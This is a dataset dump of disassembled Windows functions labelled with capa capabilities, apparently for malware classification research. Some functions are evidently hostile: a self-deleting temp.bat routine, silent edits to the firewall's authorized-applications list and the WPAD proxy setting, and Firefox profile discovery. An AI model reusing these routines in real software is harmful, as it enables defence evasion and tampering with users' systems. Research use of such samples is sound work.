joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10027640
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100595bb
mov eax, dword fs:[0]
push eax
sub esp, 0x230
mov eax, dword [0x100754f8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edx, dword [esi]
mov eax, dword [ebp + 8]
push eax
call dword [edx + 0x14]
test eax, eax
jne 0x10027688
mov dword [esi + 4], 1
jmp 0x10027812
mov eax, dword [esi + 0x28]
test eax, eax
je 0x1002769c
imul eax, eax, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x208
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.100365a0
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x104
push eax
push dword [0x10077018]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x100276da
mov dword [esi + 4], 2
jmp 0x10027812
cmp byte [esi + 0x3c], 0
je 0x100276e5
call fcn.10024150
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 0
lea eax, [ebp - 0x23c]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.10015ae0
add esp, 8
test eax, eax
jne 0x10027732
mov dword [esi + 4], 2
xor esi, esi
jmp 0x10027805
mov ecx, dword [ebp - 0x238]
mov eax, dword [ebp - 0x23c]
sub ecx, eax
push ecx
push eax
push 0
call fcn.100085e0
mov edi, eax
lea eax, [ebp - 0x218]
push edi
push eax
call fcn.10028010
add esp, 0x14
test eax, eax
jne 0x10027800
push edi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x230]
push str._s_d__lu
push eax
call fcn.10014420
add esp, 0x10
lea eax, [ebp - 0x230]
cmp dword [ebp - 0x21c], 8
cmovae eax, dword [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp - 0x21c], 8
lea eax, [ebp - 0x230]
cmovae eax, dword [ebp - 0x230]
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x100277d6
lea ecx, [ebp - 0x230]
mov dword [esi + 4], 2
call fcn.10003fa0
xor esi, esi
jmp 0x10027805
cmp dword [ebp - 0x21c], 8
lea eax, [ebp - 0x230]
push 4
cmovae eax, dword [ebp - 0x230]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea ecx, [ebp - 0x230]
call fcn.10003fa0
mov esi, 1
lea ecx, [ebp - 0x23c]
call fcn.100137e0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10033ba6
mov esp, ebp
pop ebp
ret 4
Function at 0x10027830
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10059606
mov eax, dword fs:[0]
push eax
sub esp, 0x234
mov eax, dword [0x100754f8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edx, dword [esi]
mov eax, dword [ebp + 8]
push eax
call dword [edx + 0x14]
test eax, eax
jne 0x10027878
mov dword [esi + 4], 1
jmp 0x10027a2c
mov eax, dword [esi + 0x28]
test eax, eax
je 0x1002788c
imul eax, eax, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 0
lea eax, [ebp - 0x23c]
mov dword [ebp - 4], 0
push eax
mov ecx, esi
call fcn.10026d80
test eax, eax
jne 0x10027a1a
mov ecx, dword [ebp - 0x238]
sub ecx, dword [ebp - 0x23c]
je 0x10027a1a
push 0x208
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.100365a0
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x230]
call fcn.100036c0
cmp dword [esi + 0x94], 8
lea ecx, [esi + 0x80]
mov byte [ebp - 4], 1
jb 0x10027938
mov ecx, dword [esi + 0x80]
push dword [esi + 0x90]
push ecx
lea ecx, [ebp - 0x230]
call fcn.10006c70
cmp dword [ebp - 0x21c], 8
lea eax, [ebp - 0x230]
cmovae eax, dword [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0x238]
lea eax, [ebp - 0x230]
mov ecx, dword [ebp - 0x23c]
sub edx, ecx
cmp dword [ebp - 0x21c], 8
push edx
cmovae eax, dword [ebp - 0x230]
push ecx
push eax
call fcn.10016610
add esp, 0xc
test eax, eax
jne 0x100279ac
mov dword [esi + 4], 3
lea ecx, [ebp - 0x230]
xor esi, esi
call fcn.10003fa0
jmp 0x10027a1f
cmp dword [esi + 0xac], 8
lea edx, [esi + 0x98]
jb 0x100279bd
mov edx, dword [edx]
cmp dword [ebp - 0x21c], 8
lea ecx, [ebp - 0x230]
push 0
cmovae ecx, dword [ebp - 0x230]
mov edi, 5
xor eax, eax
cmp byte [esi + 0xb0], al
cmovne eax, edi
push eax
push edx
push ecx
call fcn.10015f70
add esp, 0x10
test eax, eax
jne 0x10027a08
mov dword [esi + 4], 9
lea ecx, [ebp - 0x230]
xor esi, esi
call fcn.10003fa0
jmp 0x10027a1f
lea ecx, [ebp - 0x230]
mov esi, 1
call fcn.10003fa0
jmp 0x10027a1f
mov dword [esi + 4], eax
xor esi, esi
lea ecx, [ebp - 0x23c]
call fcn.100137e0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10033ba6
mov esp, ebp
pop ebp
ret 4
Function at 0x10028010
Capabilities:
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x100754f8]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
mov eax, 0x208
push edi
mov edi, dword [ebp + 0xc]
push 0x206
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push 0
push eax
call fcn.100365a0
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x10028073
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10033ba6
mov esp, ebp
pop ebp
ret
push edi
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x224]
push str._s_lu
push eax
call fcn.10014420
add esp, 0x10
lea eax, [ebp - 0x224]
cmp dword [ebp - 0x210], 8
cmovae eax, dword [ebp - 0x224]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
lea ecx, [ebp - 0x224]
mov esi, eax
call fcn.10003fa0
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.10033ba6
mov esp, ebp
pop ebp
ret

Function at 0x1004b5f2
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1004b468
Function at 0x403509
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push 0xf0000020
push 1
xor esi, esi
push esi
push esi
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0xc], 0x10
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x40356f
lea eax, [ebp - 4]
push eax
push esi
push esi
push 0x8003
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x40356f
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x40356f
push esi
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0x10]
push 2
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop esi
leave
ret

Function at 0x4042f6
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
lea eax, [ecx + 0xa0]
xor edi, edi
cmp dword [eax + 0x18], 0x10
jb 0x40430f
mov eax, dword [eax + 4]
jmp 0x404312
add eax, 4
push edi
push 0x80
push 2
push edi
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x404357
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x40434e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40435f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov eax, edi
pop edi
pop esi
leave
ret 8

Function at 0x407b38
Capabilities:
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ecx
xor bl, bl
call fcn.00407b06
test eax, eax
mov dword [ebp - 4], eax
je 0x407ba6
push edi
mov ecx, esi
call fcn.00407a77
lea eax, [ebp - 8]
push eax
xor eax, eax
lea ebx, [esi + 0xc]
push ebx
push eax
lea edi, [esi + 4]
push edi
push eax
push dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
push dword [edi]
call fcn.0041530a
push dword [ebx]
mov dword [esi + 8], eax
call fcn.0041530a
pop ecx
pop ecx
lea ecx, [ebp - 8]
push ecx
push ebx
push eax
push edi
push dword [esi + 8]
mov dword [esi + 0x10], eax
push dword [ebp - 4]
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
mov ebx, eax
dec ebx
neg ebx
sbb bl, bl
inc bl
pop edi
pop esi
mov al, bl
pop ebx
leave
ret
Function at 0x407ea0
Capabilities:
Read .ini file

Disassembly:
push ebp
lea ebp, [esp - 0x3c4]
sub esp, 0x444
mov eax, dword [0x46c054]
xor eax, ebp
mov dword [ebp + 0x3c0], eax
mov edx, dword [str.Firefox]
mov ecx, dword [ebp + 0x3cc]
mov eax, dword [ebp + 0x3d0]
push esi
push edi
mov esi, str.profiles.ini
lea edi, [ebp + 0x3a0]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp + 0x3b0], edx
mov edx, dword [0x444d74]
movsd dword es:[edi], dword [esi]
mov dword [ebp + 0x3b4], edx
mov edx, dword [str.Mozilla]
movsb byte es:[edi], byte [esi]
mov dword [ebp + 0x3b8], edx
mov edx, dword [0x444d5c]
xor esi, esi
cmp ecx, esi
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x80], eax
mov dword [ebp + 0x3bc], edx
je 0x408086
cmp eax, esi
je 0x408086
push 0x104
mov dword [eax], esi
lea eax, [ebp - 0x70]
push esi
push eax
call fcn.00425c80
push esi
push 0x1a
lea eax, [ebp - 0x70]
push eax
push esi
call fcn.00414381
add esp, 0x1c
test eax, eax
jl 0x408082
push ebx
lea eax, [ebp + 0x3a0]
push eax
lea eax, [ebp + 0x3b0]
push eax
lea eax, [ebp + 0x3b8]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp + 0x198]
push str._s_s_s_s
push eax
call fcn.00428956
push esi
mov ebx, str.Profile_d
lea eax, [ebp + 0x29c]
push ebx
push eax
mov dword [ebp - 0x74], esi
call fcn.00428956
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
add esp, 0x24
mov edi, str.IsRelative
jmp 0x408062
lea eax, [ebp + 0x198]
push eax
push 0x104
lea eax, [ebp + 0x94]
push eax
push 0x444954
push str.Path
lea eax, [ebp + 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jbe 0x408081
lea eax, [ebp + 0x198]
push eax
push 0xffffffffffffffff
push str.Default
lea eax, [ebp + 0x29c]
push eax
call esi
cmp eax, 1
je 0x407ff1
cmp dword [ebp - 0x74], 0
jne 0x40804c
cmp dword [ebp - 0x7c], 1
lea eax, [ebp + 0x94]
jne 0x408033
push 0x2f
push eax
call fcn.00428c87
mov byte [eax], 0x5c
lea eax, [ebp + 0x94]
push eax
lea eax, [ebp + 0x3b0]
push eax
lea eax, [ebp + 0x3b8]
push eax
lea eax, [ebp - 0x70]
push eax
push str._s_s_s_s
push dword [ebp - 0x78]
call fcn.00428956
add esp, 0x20
jmp 0x40803e
push eax
push dword [ebp - 0x78]
call fcn.00429180
pop ecx
pop ecx
push dword [ebp - 0x78]
call fcn.00427e00
pop ecx
mov ecx, dword [ebp - 0x80]
mov dword [ecx], eax
inc dword [ebp - 0x74]
push dword [ebp - 0x74]
lea eax, [ebp + 0x29c]
push ebx
push eax
call fcn.00428956
add esp, 0xc
lea eax, [ebp + 0x198]
push eax
push 0xffffffffffffffff
push edi
lea eax, [ebp + 0x29c]
push eax
call esi
cmp eax, 0xffffffff
mov dword [ebp - 0x7c], eax
jne 0x407f9d
pop ebx
mov al, 1
jmp 0x408088
xor al, al
mov ecx, dword [ebp + 0x3c0]
pop edi
xor ecx, ebp
pop esi
call fcn.00425c6b
add ebp, 0x3c4
leave
ret 8
Function at 0x4092d9
Capabilities:
Delete registry value
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
push 0xa8
mov eax, 0x440459
call fcn.00426671
push 1
push 3
lea ecx, [ebp - 0xb4]
call fcn.00407449
xor esi, esi
mov dword [ebp - 4], esi
cmp byte [ebp + 0x10], 0
mov dword [ebp - 0x10], esi
mov eax, str.StandardProfile
jne 0x40930f
mov eax, str.DomainProfile
push str.AuthorizedApplicationsList
push eax
lea eax, [ebp - 0xac]
push str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicy_
push eax
call fcn.00406c97
pop ecx
pop ecx
push eax
call fcn.00406c97
pop ecx
pop ecx
push eax
call fcn.00406c97
pop ecx
pop ecx
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0xb4]
call fcn.0040567f
mov byte [ebp - 4], 1
cmp dword [eax + 0x18], 0x10
jb 0x409356
mov eax, dword [eax + 4]
jmp 0x409359
add eax, 4
lea ecx, [ebp - 0x10]
push ecx
push 0xf003f
push esi
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebx, eax
neg ebx
sbb bl, bl
inc bl
mov byte [ebp - 4], 0
push esi
push 1
lea ecx, [ebp - 0x2c]
call fcn.004049a0
test bl, bl
je 0x4093da
push esi
push esi
push esi
push esi
push dword [ebp + 8]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp dword [ebp + 0xc], esi
je 0x4093c1
test eax, eax
je 0x4093d1
push dword [ebp + 0xc]
call fcn.00427e00
pop ecx
push eax
push dword [ebp + 0xc]
push 1
push esi
push dword [ebp + 8]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x4093d1
test eax, eax
jne 0x4093d1
push dword [ebp + 8]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x60]
call fcn.004047bf
lea ecx, [ebp - 0x60]
call fcn.00403ad0
call fcn.00426749
ret 0xc
Function at 0x409bba
Capabilities:
Terminate thread

Disassembly:
push 0x118
mov eax, 0x44057e
call fcn.00426710
mov edi, ecx
mov dword [ebp - 0x118], edi
xor ebx, ebx
xor al, al
cmp dword [ebp + 8], 0x13
ja 0x409d2a
push 1
lea eax, [edi + 0x18bc]
push eax
lea ecx, [ebp - 0x124]
call fcn.004099e1
mov dword [ebp - 4], ebx
mov byte [ebp - 4], 1
mov eax, dword [ebp + 8]
imul eax, eax, 0x13c
lea esi, [eax + edi]
push dword [esi + 0xc]
push dword [ebp + 8]
push str.CModule::StopModule_Stop:__ld__s
call fcn.00414978
add esp, 0xc
cmp dword [esi + 0x20], ebx
je 0x409c27
mov esi, dword [esi + 0x28]
cmp esi, ebx
je 0x409c27
call esi
mov dword [ebp - 4], ebx
jmp 0x409c6e
or dword [ebp - 4], 0xffffffff
mov dword [ebp - method.CriticalSectionLock.virtual_0], vtable.CriticalSectionLock.0
lea ecx, [ebp - 0x124]
call fcn.00409892
mov eax, dword [ebp + 8]
imul eax, eax, 0x13c
lea esi, [eax + edi]
cmp dword [esi + 0x20], ebx
je 0x409d28
mov eax, dword [esi + 4]
cmp eax, ebx
je 0x409d1e
push dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x409d1e
mov dword [ebp - 4], 3
push dword [esi + 0xc]
push dword [ebp + 8]
push str.CModule::StopModule_Terminate:__ld__s
call fcn.00414978
add esp, 0xc
push ebx
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
or dword [ebp - 4], 0xffffffff
jmp 0x409d1e
push dword [ebp + 8]
mov ecx, edi
call fcn.00409a82
mov al, 1
call fcn.0042676c
ret 8
Function at 0x40a2ae
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
xor ecx, ecx
cmp byte [ebp + 8], cl
je 0x40a2d8
mov eax, dword [esi + 0x18d8]
cmp eax, ecx
je 0x40a2d0
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x40a2f9
push esi
call fcn.0040a26b
jmp 0x40a2f9
cmp dword [esi + 0x18d8], ecx
jne 0x40a2f9
lea eax, [ebp + 8]
push eax
push ecx
push esi
push fcn.0040a26b
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x18d8], eax
pop esi
pop ebp
ret 4
Function at 0x40c51e
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push ebp
push esi
xor ebp, ebp
push ebp
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp dword [esi + 8], ebp
jne 0x40c68e
push str.winhttp.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, ebp
mov dword [esi + 8], eax
je 0x40c67f
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.WinHttpOpen
push eax
call edi
cmp eax, ebp
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi + 0x18], eax
jne 0x40c56b
call ebx
mov ebp, eax
push str.WinHttpConnect
push dword [esi + 8]
call edi
test eax, eax
mov dword [esi + 0x1c], eax
jne 0x40c580
call ebx
mov ebp, eax
push str.WinHttpOpenRequest
push dword [esi + 8]
call edi
test eax, eax
mov dword [esi + 0x20], eax
jne 0x40c595
call ebx
mov ebp, eax
push str.WinHttpSendRequest
push dword [esi + 8]
call edi
test eax, eax
mov dword [esi + 0x24], eax
jne 0x40c5aa
call ebx
mov ebp, eax
push str.WinHttpReceiveResponse
push dword [esi + 8]
call edi
test eax, eax
mov dword [esi + 0x28], eax
jne 0x40c5bf
call ebx
mov ebp, eax
push str.WinHttpQueryOption
push dword [esi + 8]
call edi
test eax, eax
mov dword [esi + 0x2c], eax
jne 0x40c5d4
call ebx
mov ebp, eax
push str.WinHttpSetOption
push dword [esi + 8]
call edi
test eax, eax
mov dword [esi + 0x30], eax
jne 0x40c5e9
call ebx
mov ebp, eax
push str.WinHttpQueryHeaders
push dword [esi + 8]
call edi
test eax, eax
mov dword [esi + 0x34], eax
jne 0x40c5fe
call ebx
mov ebp, eax
push str.WinHttpQueryDataAvailable
push dword [esi + 8]
call edi
test eax, eax
mov dword [esi + 0x38], eax
jne 0x40c613
call ebx
mov ebp, eax
push str.WinHttpReadData
push dword [esi + 8]
call edi
test eax, eax
mov dword [esi + 0x3c], eax
jne 0x40c628
call ebx
mov ebp, eax
push str.WinHttpCloseHandle
push dword [esi + 8]
call edi
test eax, eax
mov dword [esi + 0x40], eax
jne 0x40c63d
call ebx
mov ebp, eax
push str.WinHttpAddRequestHeaders
push dword [esi + 8]
call edi
test eax, eax
mov dword [esi + 0x44], eax
jne 0x40c652
call ebx
mov ebp, eax
push str.WinHttpSetCredentials
push dword [esi + 8]
call edi
test eax, eax
mov dword [esi + 0x48], eax
jne 0x40c667
call ebx
mov ebp, eax
push str.WinHttpQueryAuthSchemes
push dword [esi + 8]
call edi
test eax, eax
mov dword [esi + 0x4c], eax
pop edi
jne 0x40c699
call ebx
mov ebp, eax
jmp 0x40c699
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebp, eax
push str.ClsWinHttpEnvironment::Create___ERROR_:_could_not_load_winhttp_
jmp 0x40c693
push str.ClsWinHttpEnvironment::Create___ERROR_:_hWinModule_is_not_null__already_init_
call fcn.00414978
pop ecx
cmp dword [esi + 4], 0
je 0x40c6bc
test ebp, ebp
mov eax, str.Succeeded
je 0x40c6ad
mov eax, str.Failed
push ebp
push eax
push str._ClsWinHttpEnvironment__Creating_environment...___s___d__
call fcn.00414978
add esp, 0xc
pop esi
mov eax, ebp
pop ebp
pop ebx
ret
Function at 0x40e4c5
Capabilities:
Set registry value

Disassembly:
push ebp
sub esp, 0x400
lea ebp, [esp - 4]
mov eax, dword [0x46c054]
xor eax, ebp
mov dword [ebp + 0x400], eax
push 0x24
mov eax, 0x440ee4
call fcn.004266a4
xor bl, bl
mov byte [ebp - 0x11], bl
xor edi, edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x30], vtable.CurrentUserSID.0
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 4], edi
mov byte [ebp - 4], 1
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push str._ClsInternetExplorerSettings::ChangeWPAD_Checking_Registry_for_WPAD_info...
call fcn.00414978
mov dword [esp], 0xf003f
lea eax, [ebp - 0x1c]
push eax
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsConnections
push esi
push SysReAllocString
call fcn.004121de
add esp, 0x10
test al, al
je 0x40e5a1
lea eax, [ebp - 0x18]
push eax
mov esi, str.DefaultConnectionSettings
push esi
push dword [ebp - 0x1c]
call fcn.00412279
add esp, 0xc
test al, al
je 0x40e58a
mov eax, dword [ebp - 0x18]
movzx ecx, byte [eax + 8]
xor ecx, 8
mov byte [eax + 8], cl
push 0x400
push dword [ebp - 0x18]
push 3
push edi
push esi
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ebx, eax
neg ebx
sbb ebx, ebx
inc ebx
mov byte [ebp - 0x11], bl
jmp 0x40e634
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._ClsInternetExplorerSettings::ChangeWPAD_unknown_error__ld
call fcn.00414978
pop ecx
jmp 0x40e633
lea ecx, [ebp - 0x30]
call fcn.00407b38
test al, al
je 0x40e629
push str._ClsWinInetEnvironment::ChangeWPAD_RegKey_not_on_current_user__looking_on_HKEY_USERS
call fcn.00414978
pop ecx
push esi
lea ecx, [ebp - 0x30]
call fcn.00407bac
push eax
push 0x4482e0
lea eax, [ebp]
push eax
call fcn.00428956
push 0xf003f
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp]
push eax
push SysStringLen
call fcn.004121de
add esp, 0x20
test al, al
je 0x40e622
lea eax, [ebp - 0x18]
push eax
mov esi, str.DefaultConnectionSettings
push esi
push dword [ebp - 0x1c]
call fcn.00412279
add esp, 0xc
test al, al
je 0x40e58a
mov eax, dword [ebp - 0x18]
movzx ecx, byte [eax + 8]
xor ecx, 8
mov byte [eax + 8], cl
push 0x400
lea eax, [ebp - 0x18]
push eax
jmp 0x40e56e
push str._ClsInternetExplorerSettings::ChangeWPAD_RegKey_not_on_HKEYUSERS
jmp 0x40e62e
push str.No_SID_info_for_current_user
call fcn.00414978
pop ecx
push dword [ebp - 0x1c]
call fcn.0041231b
lea eax, [ebp - 0x18]
push eax
call fcn.00413de9
pop ecx
pop ecx
test bl, bl
mov eax, str.successfully
jne 0x40e655
mov eax, str.with_errors
push eax
push str.WPAD_changed__s.
call fcn.00414978
pop ecx
pop ecx
mov dword [ebp - 4], edi
jmp 0x40e67b
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x30], vtable.CurrentUserSID.0
lea ecx, [ebp - 0x30]
call fcn.00407a77
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x400]
xor ecx, ebp
call fcn.00425c6b
add ebp, 0x404
leave
ret
Function at 0x40f750
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
sub esp, 0x608
lea ebp, [esp - 4]
mov eax, dword [0x46c054]
xor eax, ebp
mov dword [ebp + 0x608], eax
push 0x10
mov eax, 0x441191
call fcn.004266a4
mov esi, dword [ebp + 0x614]
xor edi, edi
mov dword [ebp - 4], edi
call dword [0x46b508]
push str.temp.bat
push esi
push 0x448da8
mov esi, 0x104
push esi
lea eax, [ebp + 0x504]
push eax
call fcn.004290c4
add esp, 0x14
push esi
lea eax, [ebp + 0x400]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersion]
call ebx
cmp eax, 0x80000000
jae 0x40f7d6
push str.SelfDelete__SelfDelete_WINNT_2000_XP_2003_
call fcn.00414978
mov dword [esp], str._echo_off_r_n:Repeat_r_ndel__Q___s__r_nping__n_1_localhost___nul_r_nif_exist___s__goto_Repeat_r_ndel__Q___s_
jmp 0x40f7e7
push str.SelfDelete__SelfDelete_WINVISTA
call fcn.00414978
mov dword [esp], str._echo_off_r_n:Repeat_r_ndel___s__r_nping__n_1_localhost___nul_r_nif_exist___s__goto_Repeat_r_ndel___s__r_n
push 0x448c90
push 0x400
lea eax, [ebp]
push eax
call fcn.004290c4
add esp, 0x10
push edi
push 0x80
push 2
push edi
push edi
push 0x40000000
lea eax, [ebp + 0x504]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
je 0x40f8f5
lea eax, [ebp]
push eax
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
mov edi, 0x30c
add eax, edi
push eax
call fcn.00428043
pop ecx
mov dword [ebp - 0x18], eax
lea eax, [ebp + 0x504]
push eax
lea eax, [ebp + 0x400]
push eax
push eax
lea eax, [ebp]
push eax
push eax
call esi
add eax, edi
push eax
mov edi, dword [ebp - 0x18]
push edi
call fcn.004290c4
add esp, 0x18
push 0
lea eax, [ebp - 0x1c]
push eax
push edi
call esi
push eax
push edi
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call fcn.00427f66
pop ecx
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp + 0x504]
push eax
push str._c___s_
push 0x400
lea eax, [ebp]
push eax
call fcn.004290c4
add esp, 0x10
call ebx
cmp eax, 0x80000000
lea eax, [ebp]
push eax
jae 0x40f8d0
push str.SelfDelete__SelfDelete__WINNT_2000_XP_2003...:_ShellExecute__s
call fcn.00414978
pop ecx
pop ecx
xor eax, eax
push eax
push eax
lea ecx, [ebp]
push ecx
push 0x448c44
jmp 0x40f8e9
push str.SelfDelete__SelfDelete__Win95__Win98__Me:_ShellExecute__s
call fcn.00414978
pop ecx
pop ecx
xor eax, eax
push eax
push eax
lea ecx, [ebp]
push ecx
push str.command
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x608]
xor ecx, ebp
call fcn.00425c6b
add ebp, 0x60c
leave
ret